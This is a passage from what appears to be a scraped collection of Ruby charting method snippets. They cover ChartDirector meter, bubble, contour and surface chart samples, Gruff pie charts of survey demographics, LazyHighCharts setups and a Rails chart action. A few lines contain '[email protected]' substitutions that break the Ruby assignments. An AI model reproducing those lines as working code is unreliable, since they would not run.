?\", 18]).map { |i| i.id } & User.all(:conditions => [\"age < ?\", 25]).map { |i| i.id }).count\n @age3=(@responses.map { |i| i.user.id } & User.all(:conditions => [\"age > ?\", 25]).map { |i| i.id } & User.all(:conditions => [\"age < ?\", 35]).map { |i| i.id }).count\n @age4=(@responses.map { |i| i.user.id } & User.all(:conditions => [\"age > ?\", 35]).map { |i| i.id } & User.all(:conditions => [\"age < ?\", 45]).map { |i| i.id }).count\n @age5=(@responses.map { |i| i.user.id } & User.all(:conditions => [\"age > ?\", 45]).map { |i| i.id }).count\n\n @datasets=[\n [:lt18, @age1],\n [:lt25, @age2],\n [:lt35, @age3],\n [:lt45, @age4],\n [:gt45, @age5],\n ]\n\n g = Gruff::Pie.new\n g.title = \"Visual Pie Age\"\n @datasets.each do |data|\n g.data(data[0], data[1])\n end\n\n @ages=g.write(\"#{Rails.root}/public/pie_keynote.png\")\n @image1=\"pie_keynote.png\"\n\n @[email protected] { |i| i.user.location }\n h = Gruff::Pie.new\n h.title = \"Location\"\n @locations.uniq.each do |loc|\n h.data(loc, @locations.grep(loc).count)\n end\n h.write(\"#{Rails.root}/public/piel.png\")\n @image2=\"piel.png\"\n\n @[email protected] { |i| i.user.industry }\n i = Gruff::Pie.new\n i.title = \"Industry\"\n @industries.uniq.each do |loc|\n i.data(loc, @industries.grep(loc).count)\n end\n i.write(\"#{Rails.root}/public/industry.png\")\n @image3=\"industry.png\"\n\n @[email protected] { |i| i.user.workx }\n #render :text => @workexs\n #return\n j = Gruff::Pie.new\n j.title = \"Experience\"\n @workexs.uniq.each do |loc|\n j.data(loc, @workexs.grep(loc).count)\n end\n j.write(\"#{Rails.root}/public/workx.png\")\n @image4=\"workx.png\"\n end", "def getchart()\n # The value to display on the meter\n value = 45.17\n\n # Create an AugularMeter object of size 200 x 200 pixels, with silver background,\n # black border, 2 pixel 3D depressed border and rounded corners.\n m = ChartDirector::AngularMeter.new(200, 200, ChartDirector::silverColor(),\n 0x000000, -2)\n m.setRoundedFrame()\n\n # Set the meter center at (100, 100), with radius 85 pixels, and span from -135 to\n # +135 degress\n m.setMeter(100, 100, 85, -135, 135)\n\n # Meter scale is 0 - 100, with major tick every 10 units, minor tick every 5\n # units, and micro tick every 1 units\n m.setScale(0, 100, 10, 5, 1)\n\n # Disable default angular arc by setting its width to 0. Set 2 pixels line width\n # for major tick, and 1 pixel line width for minor ticks.\n m.setLineWidth(0, 2, 1)\n\n # Set the circular meter surface as metallic blue (9999DD)\n m.addRing(0, 90, ChartDirector::metalColor(0x9999dd))\n\n # Add a blue (6666FF) ring between radii 88 - 90 as decoration\n m.addRing(88, 90, 0x6666ff)\n\n # Set 0 - 60 as green (99FF99) zone, 60 - 80 as yellow (FFFF00) zone, and 80 - 100\n # as red (FF3333) zone\n m.addZone(0, 60, 0x99ff99)\n m.addZone(60, 80, 0xffff00)\n m.addZone(80, 100, 0xff3333)\n\n # Add a text label centered at (100, 135) with 15 pts Arial Bold font\n m.addText(100, 135, \"CPU\", \"arialbd.ttf\", 15, ChartDirector::TextColor,\n ChartDirector::Center)\n\n # Add a text box centered at (100, 165) showing the value formatted to 2 decimal\n # places, using white text on a black background, and with 1 pixel 3D depressed\n # border\n m.addText(100, 165, m.formatValue(value, \"2\"), \"Arial\", 8, 0xffffff,\n ChartDirector::Center).setBackground(0x000000, 0x000000, -1)\n\n # Add a semi-transparent blue (40333399) pointer at the specified value\n m.addPointer(value, 0x40333399)\n\n # Output the chart\n send_data(m.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def getchart()\n # The XYZ points for the bubble chart\n dataX0 = [170, 300, 1000, 1700]\n dataY0 = [16, 69, 16, 75]\n dataZ0 = [52, 105, 88, 140]\n\n dataX1 = [500, 1000, 1300]\n dataY1 = [40, 58, 85]\n dataZ1 = [140, 202, 84]\n\n # Create a XYChart object of size 540 x 480 pixels\n c = ChartDirector::XYChart.new(540, 480)\n\n # Set the plotarea at (70, 65) and of size 400 x 350 pixels. Turn on both\n # horizontal and vertical grid lines with light grey color (0xc0c0c0)\n c.setPlotArea(70, 65, 400, 350, -1, -1, ChartDirector::Transparent, 0xc0c0c0, -1)\n\n # Add a legend box at (70, 30) (top of the chart) with horizontal layout. Use 12\n # pts Times Bold Italic font. Set the background and border color to Transparent.\n c.addLegend(70, 30, false, \"timesbi.ttf\", 12).setBackground(\n ChartDirector::Transparent)\n\n # Add a title to the chart using 18 pts Times Bold Itatic font.\n c.addTitle(\"Product Comparison Chart\", \"timesbi.ttf\", 18)\n\n # Add titles to the axes using 12 pts Arial Bold Italic font\n c.yAxis().setTitle(\"Capacity (tons)\", \"arialbi.ttf\", 12)\n c.xAxis().setTitle(\"Range (miles)\", \"arialbi.ttf\", 12)\n\n # Set the axes line width to 3 pixels\n c.xAxis().setWidth(3)\n c.yAxis().setWidth(3)\n\n # Add (dataX0, dataY0) as a scatter layer with red (ff3333) glass spheres, where\n # the sphere size is modulated by dataZ0. This creates a bubble effect.\n c.addScatterLayer(dataX0, dataY0, \"Technology AAA\",\n ChartDirector::GlassSphere2Shape, 15, 0xff3333).setSymbolScale(dataZ0)\n\n # Add (dataX1, dataY1) as a scatter layer with blue (0000ff) glass spheres, where\n # the sphere size is modulated by dataZ1. This creates a bubble effect.\n c.addScatterLayer(dataX1, dataY1, \"Technology BBB\",\n ChartDirector::GlassSphere2Shape, 15, 0x0000ff).setSymbolScale(dataZ1)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def initialize(name, data, dimension_labels, date_columns = [])\n \n @name = name\n @data = data\n @dimension_labels = dimension_labels\n @date_columns = date_columns\n\n # Access the bridge to communicate with DCFX. Bridge is a singleton class\n @bridge = Bridge.instance\n\n # prepare a bootstrap scene specification for this dashboard\n @scene = Bootstrap.new\n \n @charts = Hash.new\n @properties = Hash.new\n @base_dimensions = Hash.new\n @runned = false # dashboard has never executed\n\n # adds the dashboard data to the Browser\n add_data\n \n end", "def getchart()\n # The data for the bar chart\n data0 = [44, 55, 100]\n data1 = [97, 87, 167]\n data2 = [156, 78, 147]\n data3 = [125, 118, 211]\n\n # The labels for the bar chart. The labels contains embedded images as icons.\n labels = [\"<*img=service.png*><*br*>Service\",\n \"<*img=software.png*><*br*>Software\", \"<*img=computer.png*><*br*>Hardware\"]\n\n # Create a XYChart object of size 600 x 350 pixels, using 0xe0e0ff as the\n # background color, 0xccccff as the border color, with 1 pixel 3D border effect.\n c = ChartDirector::XYChart.new(600, 350, 0xe0e0ff, 0xccccff, 1)\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Add a title to the chart using 14 points Times Bold Itatic font and light blue\n # (0x9999ff) as the background color\n c.addTitle(\"Business Results 2001 vs 2002\", \"timesbi.ttf\", 14).setBackground(\n 0x9999ff)\n\n # Set the plotarea at (60, 45) and of size 500 x 210 pixels, using white\n # (0xffffff) as the background\n c.setPlotArea(60, 45, 500, 210, 0xffffff)\n\n # Swap the x and y axes to create a horizontal bar chart\n c.swapXY()\n\n # Add a title to the y axis using 11 pt Times Bold Italic as font\n c.yAxis().setTitle(\"Revenue (millions)\", \"timesbi.ttf\", 11)\n\n # Set the labels on the x axis\n c.xAxis().setLabels(labels)\n\n # Disable x-axis ticks by setting the tick length to 0\n c.xAxis().setTickLength(0)\n\n # Add a stacked bar layer to the chart\n layer = c.addBarLayer2(ChartDirector::Stack)\n\n # Add the first two data sets to the chart as a stacked bar group\n layer.addDataGroup(\"2001\")\n layer.addDataSet(data0, 0xaaaaff, \"Local\")\n layer.addDataSet(data1, 0x6666ff, \"International\")\n\n # Add the remaining data sets to the chart as another stacked bar group\n layer.addDataGroup(\"2002\")\n layer.addDataSet(data2, 0xffaaaa, \"Local\")\n layer.addDataSet(data3, 0xff6666, \"International\")\n\n # Set the sub-bar gap to 0, so there is no gap between stacked bars with a group\n layer.setBarGap(0.2, 0)\n\n # Set the bar border to transparent\n layer.setBorderColor(ChartDirector::Transparent)\n\n # Set the aggregate label format\n layer.setAggregateLabelFormat(\"Year {dataGroupName}\\n{value} millions\")\n\n # Set the aggregate label font to 8 point Arial Bold Italic\n layer.setAggregateLabelStyle(\"arialbi.ttf\", 8)\n\n # Reverse 20% space at the right during auto-scaling to allow space for the\n # aggregate bar labels\n c.yAxis().setAutoScale(0.2)\n\n # Add a legend box at (310, 300) using TopCenter alignment, with 2 column grid\n # layout, and use 8 pts Arial Bold Italic as font\n legendBox = c.addLegend2(310, 300, 2, \"arialbi.ttf\", 8)\n legendBox.setAlignment(ChartDirector::TopCenter)\n\n # Set the format of the text displayed in the legend box\n legendBox.setText(\"Year {dataGroupName} {dataSetName} Revenue\")\n\n # Set the background and border of the legend box to transparent\n legendBox.setBackground(ChartDirector::Transparent, ChartDirector::Transparent)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def getchart()\n # The value to display on the meter\n value = 75.35\n\n # Create an LinearMeter object of size 250 x 75 pixels, using silver background\n # with a 2 pixel black 3D depressed border.\n m = ChartDirector::LinearMeter.new(250, 75, ChartDirector::silverColor(), 0, -2)\n\n # Set the scale region top-left corner at (15, 25), with size of 200 x 50 pixels.\n # The scale labels are located on the top (implies horizontal meter)\n m.setMeter(15, 25, 220, 20, ChartDirector::Top)\n\n # Set meter scale from 0 - 100, with a tick every 10 units\n m.setScale(0, 100, 10)\n\n # Set 0 - 50 as green (99ff99) zone, 50 - 80 as yellow (ffff66) zone, and 80 - 100\n # as red (ffcccc) zone\n m.addZone(0, 50, 0x99ff99)\n m.addZone(50, 80, 0xffff66)\n m.addZone(80, 100, 0xffcccc)\n\n # Add a blue (0000cc) pointer at the specified value\n m.addPointer(value, 0x0000cc)\n\n # Add a label at bottom-left (10, 68) using Arial Bold/8 pts/red (c00000)\n m.addText(10, 68, \"Temperature C\", \"arialbd.ttf\", 8, 0xc00000,\n ChartDirector::BottomLeft)\n\n # Add a text box to show the value formatted to 2 decimal places at bottom right.\n # Use white text on black background with a 1 pixel depressed 3D border.\n m.addText(238, 70, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::BottomRight).setBackground(0, 0, -1)\n\n # Output the chart\n send_data(m.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def chart=(v) DataTypeValidator.validate \"Series.chart\", Chart, v; @chart = v; end", "def getchart()\n # The (x, y, z) coordinates of the scattered data\n dataX = [0.5, 1.9, 4.9, 1.0, 8.9, 9.8, 5.9, 2.9, 6.8, 9.0, 0.0, 8.9, 1.9, 4.8,\n 2.4, 3.4, 7.9, 7.5, 4.8, 7.5, 9.5, 0.4, 8.9, 0.9, 5.4, 9.4, 2.9, 8.9, 0.9,\n 8.9, 10.0, 1.0, 6.8, 3.8, 9.0, 5.3, 6.4, 4.9, 4.5, 2.0, 5.4, 0.0, 10.0, 3.9,\n 5.4, 5.9, 5.8, 0.3, 4.4, 8.3]\n dataY = [3.3, 3.0, 0.7, 1.0, 9.3, 4.5, 8.4, 0.1, 0.8, 0.1, 9.3, 1.8, 4.3, 1.3,\n 2.3, 5.4, 6.9, 9.0, 9.8, 7.5, 1.8, 1.4, 4.5, 7.8, 3.8, 4.0, 2.9, 2.4, 3.9,\n 2.9, 2.3, 9.3, 2.0, 3.4, 4.8, 2.3, 3.4, 2.3, 1.5, 7.8, 4.5, 0.9, 6.3, 2.4,\n 6.9, 2.8, 1.3, 2.9, 6.4, 6.3]\n dataZ = [6.6, 12.5, 7.4, 6.2, 9.6, 13.6, 19.9, 2.2, 6.9, 3.4, 8.7, 8.4, 7.8, 8.0,\n 9.4, 11.9, 9.6, 15.7, 12.0, 13.3, 9.6, 6.4, 9.0, 6.9, 4.6, 9.7, 10.6, 9.2,\n 7.0, 6.9, 9.7, 8.6, 8.0, 13.6, 13.2, 5.9, 9.0, 3.2, 8.3, 9.7, 8.2, 6.1, 8.7,\n 5.6, 14.9, 9.8, 9.3, 5.1, 10.8, 9.8]\n\n # Create a XYChart object of size 450 x 540 pixels\n c = ChartDirector::XYChart.new(450, 540)\n\n # Add a title to the chart using 15 points Arial Italic font\n c.addTitle(\" Contour Chart with Scattered Data\", \"ariali.ttf\", 15)\n\n # Set the plotarea at (65, 40) and of size 360 x 360 pixels. Use semi-transparent\n # black (c0000000) for both horizontal and vertical grid lines\n c.setPlotArea(65, 40, 360, 360, -1, -1, -1, 0xc0000000, -1)\n\n # Set x-axis and y-axis title using 12 points Arial Bold Italic font\n c.xAxis().setTitle(\"X-Axis Title Place Holder\", \"arialbi.ttf\", 10)\n c.yAxis().setTitle(\"Y-Axis Title Place Holder\", \"arialbi.ttf\", 10)\n\n # Set x-axis and y-axis labels to use Arial Bold font\n c.xAxis().setLabelStyle(\"arialbd.ttf\")\n c.yAxis().setLabelStyle(\"arialbd.ttf\")\n\n # When x-axis and y-axis color to transparent\n c.xAxis().setColors(ChartDirector::Transparent)\n c.yAxis().setColors(ChartDirector::Transparent)\n\n # Add a scatter layer to the chart to show the position of the data points\n c.addScatterLayer(dataX, dataY, \"\", ChartDirector::Cross2Shape(0.2), 7, 0x000000)\n\n # Add a contour layer using the given data\n layer = c.addContourLayer(dataX, dataY, dataZ)\n\n # Move the grid lines in front of the contour layer\n c.getPlotArea().moveGridBefore(layer)\n\n # Add a color axis (the legend) in which the top center is anchored at (245, 455).\n # Set the length to 330 pixels and the labels on the top side.\n cAxis = layer.setColorAxis(245, 455, ChartDirector::TopCenter, 330,\n ChartDirector::Top)\n\n # Add a bounding box to the color axis using the default line color as border.\n cAxis.setBoundingBox(ChartDirector::Transparent, ChartDirector::LineColor)\n\n # Add a title to the color axis using 12 points Arial Bold Italic font\n cAxis.setTitle(\"Color Legend Title Place Holder\", \"arialbi.ttf\", 10)\n\n # Set color axis labels to use Arial Bold font\n cAxis.setLabelStyle(\"arialbd.ttf\")\n\n # Set the color axis range as 0 to 20, with a step every 2 units\n cAxis.setLinearScale(0, 20, 2)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def getchart()\n # The (x, y, z) coordinates of the scattered data\n dataX = [0.5, 1.9, 4.9, 1.0, 8.9, 9.8, 5.9, 2.9, 6.8, 9.0, 0.0, 8.9, 1.9, 4.8,\n 2.4, 3.4, 7.9, 7.5, 4.8, 7.5, 9.5, 0.4, 8.9, 0.9, 5.4, 9.4, 2.9, 8.9, 0.9,\n 8.9, 10.0, 1.0, 6.8, 3.8, 9.0, 5.3, 6.4, 4.9, 4.5, 2.0, 5.4, 0.0, 10.0, 3.9,\n 5.4, 5.9, 5.8, 0.3, 4.4, 8.3]\n dataY = [3.3, 3.0, 0.7, 1.0, 9.3, 4.5, 8.4, 0.1, 0.8, 0.1, 9.3, 1.8, 4.3, 1.3,\n 2.3, 5.4, 6.9, 9.0, 9.8, 7.5, 1.8, 1.4, 4.5, 7.8, 3.8, 4.0, 2.9, 2.4, 3.9,\n 2.9, 2.3, 9.3, 2.0, 3.4, 4.8, 2.3, 3.4, 2.3, 1.5, 7.8, 4.5, 0.9, 6.3, 2.4,\n 6.9, 2.8, 1.3, 2.9, 6.4, 6.3]\n dataZ = [6.6, 12.5, 7.4, 6.2, 9.6, 13.6, 19.9, 2.2, 6.9, 3.4, 8.7, 8.4, 7.8, 8.0,\n 9.4, 11.9, 9.6, 15.7, 12.0, 13.3, 9.6, 6.4, 9.0, 6.9, 4.6, 9.7, 10.6, 9.2,\n 7.0, 6.9, 9.7, 8.6, 8.0, 13.6, 13.2, 5.9, 9.0, 3.2, 8.3, 9.7, 8.2, 6.1, 8.7,\n 5.6, 14.9, 9.8, 9.3, 5.1, 10.8, 9.8]\n\n # Create a SurfaceChart object of size 680 x 550 pixels. Set background to brushed\n # silver and border to grey (888888). Set the top-left and bottom-right corners to\n # rounded corners with 20 pixels radius.\n c = ChartDirector::SurfaceChart.new(680, 550, ChartDirector::brushedSilverColor(),\n 0x888888)\n c.setRoundedFrame(0xffffff, 20, 0, 20, 0)\n\n # Add a title to the chart using 20 points Times New Roman Italic font. Set\n # top/bottom margin to 8 pixels.\n title = c.addTitle(\"Surface Created Using Scattered Data Points\", \"timesi.ttf\", 20\n )\n title.setMargin2(0, 0, 8, 8)\n\n # Add a 2 pixel wide black (000000) separator line under the title\n c.addLine(10, title.getHeight(), c.getWidth() - 10, title.getHeight(), 0x000000, 2\n )\n\n # Set the center of the plot region at (290, 235), and set width x depth x height\n # to 360 x 360 x 180 pixels\n c.setPlotRegion(290, 235, 360, 360, 180)\n\n # Set the elevation and rotation angles to 45 and -45 degrees\n c.setViewAngle(45, -45)\n\n # Set the perspective level to 30\n c.setPerspective(30)\n\n # Set the data to use to plot the chart\n c.setData(dataX, dataY, dataZ)\n\n # Add a color axis (the legend) in which the top right corner is anchored at (660,\n # 80). Set the length to 200 pixels and the labels on the right side.\n cAxis = c.setColorAxis(660, 80, ChartDirector::TopRight, 200, ChartDirector::Right\n )\n\n # Set the color axis title with 12 points Arial Bold font\n cAxis.setTitle(\"Z Title Placeholder\", \"arialbd.ttf\", 12)\n\n # Add a bounding box with light grey (eeeeee) background and grey (888888) border.\n # Set the top-left and bottom-right corners to rounded corners of 10 pixels\n # radius.\n cAxis.setBoundingBox(0xeeeeee, 0x888888)\n cAxis.setRoundedCorners(10, 0, 10, 0)\n\n # Set surface grid lines to semi-transparent black (cc000000)\n c.setSurfaceAxisGrid(0xcc000000)\n\n # Set contour lines to semi-transparent white (80ffffff)\n c.setContourColor(0x80ffffff)\n\n # Set the walls to black in color\n c.setWallColor(0x000000)\n\n # Set the xyz major wall grid lines to white (ffffff), and minor wall grid lines\n # to grey (888888)\n c.setWallGrid(0xffffff, 0xffffff, 0xffffff, 0x888888, 0x888888, 0x888888)\n\n # Set the wall thickness to 0\n c.setWallThickness(0, 0, 0)\n\n # Show only the xy wall, and hide the yz and zx walls.\n c.setWallVisibility(true, false, false)\n\n # Set the x, y and z axis titles using 12 points Arial Bold font\n c.xAxis().setTitle(\"X Title\\nPlaceholder\", \"arialbd.ttf\", 12)\n c.yAxis().setTitle(\"Y Title\\nPlaceholder\", \"arialbd.ttf\", 12)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::JPG), :type => \"image/jpeg\",\n :disposition => \"inline\")\n end", "def getchart()\n # Some ChartDirector built-in symbols\n symbols = [ChartDirector::CircleShape, ChartDirector::GlassSphereShape,\n ChartDirector::GlassSphere2Shape, ChartDirector::SolidSphereShape,\n ChartDirector::SquareShape, ChartDirector::DiamondShape,\n ChartDirector::TriangleShape, ChartDirector::RightTriangleShape,\n ChartDirector::LeftTriangleShape, ChartDirector::InvertedTriangleShape,\n ChartDirector::StarShape(3), ChartDirector::StarShape(4),\n ChartDirector::StarShape(5), ChartDirector::StarShape(6),\n ChartDirector::StarShape(7), ChartDirector::StarShape(8),\n ChartDirector::StarShape(9), ChartDirector::StarShape(10),\n ChartDirector::PolygonShape(5), ChartDirector::Polygon2Shape(5),\n ChartDirector::PolygonShape(6), ChartDirector::Polygon2Shape(6),\n ChartDirector::CrossShape(0.1), ChartDirector::CrossShape(0.2),\n ChartDirector::CrossShape(0.3), ChartDirector::CrossShape(0.4),\n ChartDirector::CrossShape(0.5), ChartDirector::CrossShape(0.6),\n ChartDirector::CrossShape(0.7), ChartDirector::Cross2Shape(0.1),\n ChartDirector::Cross2Shape(0.2), ChartDirector::Cross2Shape(0.3),\n ChartDirector::Cross2Shape(0.4), ChartDirector::Cross2Shape(0.5),\n ChartDirector::Cross2Shape(0.6), ChartDirector::Cross2Shape(0.7)]\n\n # Create a XYChart object of size 450 x 400 pixels\n c = ChartDirector::XYChart.new(450, 400)\n\n # Set the plotarea at (55, 40) and of size 350 x 300 pixels, with a light grey\n # border (0xc0c0c0). Turn on both horizontal and vertical grid lines with light\n # grey color (0xc0c0c0)\n c.setPlotArea(55, 40, 350, 300, -1, -1, 0xc0c0c0, 0xc0c0c0, -1)\n\n # Add a title to the chart using 18 pts Times Bold Itatic font.\n c.addTitle(\"Built-in Symbols\", \"timesbi.ttf\", 18)\n\n # Set the axes line width to 3 pixels\n c.xAxis().setWidth(3)\n c.yAxis().setWidth(3)\n\n # Ensure the ticks are at least 1 unit part (integer ticks)\n c.xAxis().setMinTickInc(1)\n c.yAxis().setMinTickInc(1)\n\n # Add each symbol as a separate scatter layer.\n 0.upto(symbols.length - 1) do |i|\n c.addScatterLayer([i % 6 + 1], [(i / 6 + 1).to_i], \"\", symbols[i], 15)\n end\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def getMiniMeasurement\n#measurements\n\n\n @set= ChartItem.new(\"Total Inches\")\n\n for measurement in @measurement\n \n # id: integer, user_id: integer, chest: integer, belly_upper: integer, belly_lower: integer, hips: integer, thigh: integer, arm: integer, date: datetime, created_at: datetime, updated_at: datetime\n sum = measurement.chest + measurement.belly_upper + measurement.belly_lower + measurement.hips + measurement.thigh + measurement.arm\n \n @set.addPoint(measurement.date.to_time.to_i * 1000,sum)\n \n end \n# ----------------------------------\n# now start adding them to the chart\n# ---------------------------------- \n #if @chartoptions[:measurement][0]\n \n \n @miniMeasures.add(@set)\n\n\n#end # if @chartoptions[:measurments] \nend", "def initialize(height: nil, width: nil, figsize_unit: :cm)\n super(0, 0)\n @title = ''\n @nrows = 1\n @ncols = 1\n @width = (width || DEFAULT_CANVAS_DIM).to_f\n @height = (height || DEFAULT_CANVAS_DIM).to_f\n @top_spacing = 5\n @bottom_spacing = 5\n @left_spacing = 5\n @right_spacing = 5\n @subplots = nil\n @figsize_unit = figsize_unit\n set_rubyplot_artist_coords!\n setup_default_theme\n add_subplots! @nrows, @ncols\n end", "def chart\n data = case params[:kind]\n when 'number_of_users'\n @title = 'Number of users '\n User.group('DATE_TRUNC(\\'month\\', created_at)').count\n when 'number_of_loves'\n @title = 'Number of Loves'\n ActsAsVotable::Vote.group('DATE_TRUNC(\\'month\\', created_at)').count\n when 'number_of_comments'\n @title = 'Number of comments'\n Comment.unscoped.group('DATE_TRUNC(\\'month\\', created_at)').count\n when 'number_of_shares'\n @title = 'Number of shares'\n Share.group('DATE_TRUNC(\\'month\\', created_at)').count\n when 'monthly_active_users'\n @title = 'Monthly active users'\n votes = ActsAsVotable::Vote.group('DATE_TRUNC(\\'month\\', created_at)').count\n comments = Comment.unscoped.group('DATE_TRUNC(\\'month\\', created_at)').count\n shares = Share.group('DATE_TRUNC(\\'month\\', created_at)').count\n votes\n .merge(comments) { |k, a_value, b_value| a_value + b_value }\n .merge(shares) { |k, a_value, b_value| a_value + b_value }\n when 'joined_last_month'\n @title = 'Joined last month'\n User.group('DATE_TRUNC(\\'day\\', created_at)').where(created_at: Date.today.beginning_of_month..Date.today.end_of_month).count\n else #net_promoter_score\n @title = 'Net promoter score'\n PhoneNumberInvitation.uniq.group('DATE_TRUNC(\\'month\\', created_at)').count(:user_id)\n end\n\n # data manipulation\n @data = []\n prev_key, year = nil, Time.current.year\n data.sort.each do |k ,v|\n k = k.to_date\n if params[:kind] == 'joined_last_month'\n (prev_key.next...k).each{|d| @data << [d.strftime('%d'), 0, \"#{d.to_s(:long)} = 0\"] } if prev_key.present?\n @data << [k.strftime('%d'), v, \"#{k.to_s(:long)} = #{v}\"]\n else\n k = k.beginning_of_month\n (prev_key.next..k.yesterday).select{|d| d.day == 1 }.each{|d| @data << [d.strftime(year == d.year ? '%m' : '%y/%-m'), 0, \"#{d.strftime(\"%B, %Y\")} = 0\"] } if prev_key.present?\n @data << [k.strftime(year == k.year ? '%m' : '%y/%-m'), v, \"#{k.strftime(\"%B, %Y\")} = #{v}\"]\n end\n prev_key = k\n end\n\n render partial: 'chart'\n end", "def getchart()\n # The data for the area chart\n data0 = [42, 49, 33, 38, 51, 46, 29, 41, 44, 57, 59, 52, 37, 34, 51, 56, 56, 60,\n 70, 76, 63, 67, 75, 64, 51]\n data1 = [50, 55, 47, 34, 42, 49, 63, 62, 73, 59, 56, 50, 64, 60, 67, 67, 58, 59,\n 73, 77, 84, 82, 80, 84, 89]\n data2 = [87, 89, 85, 66, 53, 39, 24, 21, 37, 56, 37, 22, 21, 33, 13, 17, 4, 23,\n 16, 25, 9, 10, 5, 7, 6]\n labels = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\",\n \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\"]\n\n # Create a XYChart object of size 350 x 230 pixels\n c = ChartDirector::XYChart.new(350, 230)\n\n # Set the plotarea at (50, 30) and of size 250 x 150 pixels.\n c.setPlotArea(50, 30, 250, 150)\n\n # Add a legend box at (55, 0) (top of the chart) using 8 pts Arial Font. Set\n # background and border to Transparent.\n c.addLegend(55, 0, false, \"\", 8).setBackground(ChartDirector::Transparent)\n\n # Add a title to the x axis\n c.xAxis().setTitle(\"Network Load for Jun 12\")\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"MBytes\")\n\n # Set the labels on the x axis.\n c.xAxis().setLabels(labels)\n\n # Display 1 out of 2 labels on the x-axis. Show minor ticks for remaining labels.\n c.xAxis().setLabelStep(2, 1)\n\n # Add three area layers, each representing one data set. The areas are drawn in\n # semi-transparent colors.\n c.addAreaLayer(data2, 0x808080ff, \"Server #1\", 3)\n c.addAreaLayer(data0, 0x80ff0000, \"Server #2\", 3)\n c.addAreaLayer(data1, 0x8000ff00, \"Server #3\", 3)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "def sub_charts\n @sub_charts\n end", "def series_json(params={})\n # Create data for charts\n color = params[:color] ||= 'AA4643'\n color = '#' + color\n series = []\n data = []\n\n data << [self.baseline_date, (self.baseline.round*100).round / 100.0]\n # For ideal data\n self.progresses.each{|progress| \n data << [progress.due_date, (progress.accuracy*100).round / 100.0]\n }\n data << [self.due_date, (self.accuracy*100).round / 100.0]\n #Sort data by due date\n data = data.sort_by { |hsh| hsh[0] }\n \n series << {\n :type => 'line',\n :name => \"Ideal chart\",\n :data => data\n }\n if color && color == '#4572A7'\n series[0][:color] = \"#AA4643\"\n end\n # For add grade \n data = []\n self.grades.find_each{|grade| \n data << [grade.due_date, (grade.accuracy*100).round / 100.0]\n }\n data = data.sort_by { |hsh| hsh[0] }\n series << {\n :name => self.name,\n :data => data,\n :color => color \n }\n series.to_json\n end", "def initialize(title, options = {})\n @title = title\n @width = options[:width] || 250 # defaults to the small graphs\n @height = options[:height] || 200\n @data = GraphData.new\n end", "def pn\n format(CHART_PN, index + 1)\n end", "def initialize title\n @title = title\n @values = Array.new\n end", "def show\n \n @end_at = Date.today\n @start_at = @end_at - 6\n @categories = @start_at.upto(@end_at).to_a\n\n \t#Sales Historyグラフ\n @sales_data = [500, 600, 300, 100, 200, 400, 700,500, 600, 300, 100, 200, 400, 700,100, 200, 400, 700,500, 600, 600, 300, 100, 200,]\n @sales_history = LazyHighCharts::HighChart.new(\"graph\") do |f|\n f.title(:text => \"Sales History\", :align =>\"left\")\n f.chart(:type => \"column\")\n f.xAxis(:categories => @categories)\n f.series(:name => \"Sales\", :data => @sales_data)\n\t end\n\n#Order Historyのグラフ\n @order_data = [80, 60, 30, 10, 40, 50, 90,60, 30, 10, 40, 50, 90,50, 90,60, 30, 10, 40, 50,]\n @order_history = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(text: 'Order History',:align =>\"left\")\n f.xAxis(:categories => @categories)\n f.series(name: 'Order', :data => @order_data)\n end\n\n#Price Historyのグラフ\n @price_data = [80, 60, 30, 10, 40, 50, 90,60, 30, 10, 40, 50, 90,50, 90,60, 30, 10, 40, 50,]\n @price_history = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(text: 'Order History',:align =>\"left\")\n f.xAxis(:categories => @categories)\n f.series(name: 'Order', :data => @price_data)\n end\n \n \n end", "def draw_pie_columns(table_info, width_columns = [260, 260])\n table (table_info) do\n columns(0).border_width = 1\n columns(0..1).size = 9\n rows(0..1).height = 150\n self.column_widths = width_columns\n end\n end", "def chart_gender_2\n total_count = replies.count\n women_yes_count = girl_responses.count(:conditions => ['yes = TRUE'])\n women_yes_percent = (women_yes_count == 0) ? 0 : ((women_yes_count.to_f / total_count) * 100).to_i\n women_no_count = girl_responses.count - women_yes_count\n women_no_percent = (women_no_count == 0) ? 0 : ((women_no_count.to_f / total_count) * 100).to_i\n men_yes_count = guy_responses.count(:conditions => ['yes = TRUE'])\n men_yes_percent = (men_yes_count == 0) ? 0 : ((men_yes_count.to_f / total_count) * 100).to_i\n men_no_count = guy_responses.count - men_yes_count\n # Calculate men_no_percent differently to be sure all values add up to 100%\n men_no_percent = (men_no_count == 0) ? 0 : 100 - women_yes_percent - women_no_percent - men_yes_percent\n \n chart = GoogleChart.pie_400x150([\"#{women_yes_percent}% girls who said yes\", women_yes_percent], [\"#{women_no_percent}% girls who said no\", women_no_percent], [\"#{men_no_percent}% guys who said no\", men_no_percent],[\"#{men_yes_percent}% guys who said yes\", men_yes_percent])\n chart.colors = ['DEA4A4', 'FDD3D7', 'CADCF8', 'A4C0DE']\n return chart\n end", "def pn\n \"#{CHART_PN % (index+1)}\"\n end", "def reading_chart_data_json\n profile_chart = StudentProfileChart.new(@student)\n { star_series_reading_percentile: profile_chart.star_series_reading_percentile }\n end", "def initialize(description, bar_style, date_ranges)\n @description = description\n @bar_style = bar_style\n @date_ranges = date_ranges\n end" ]
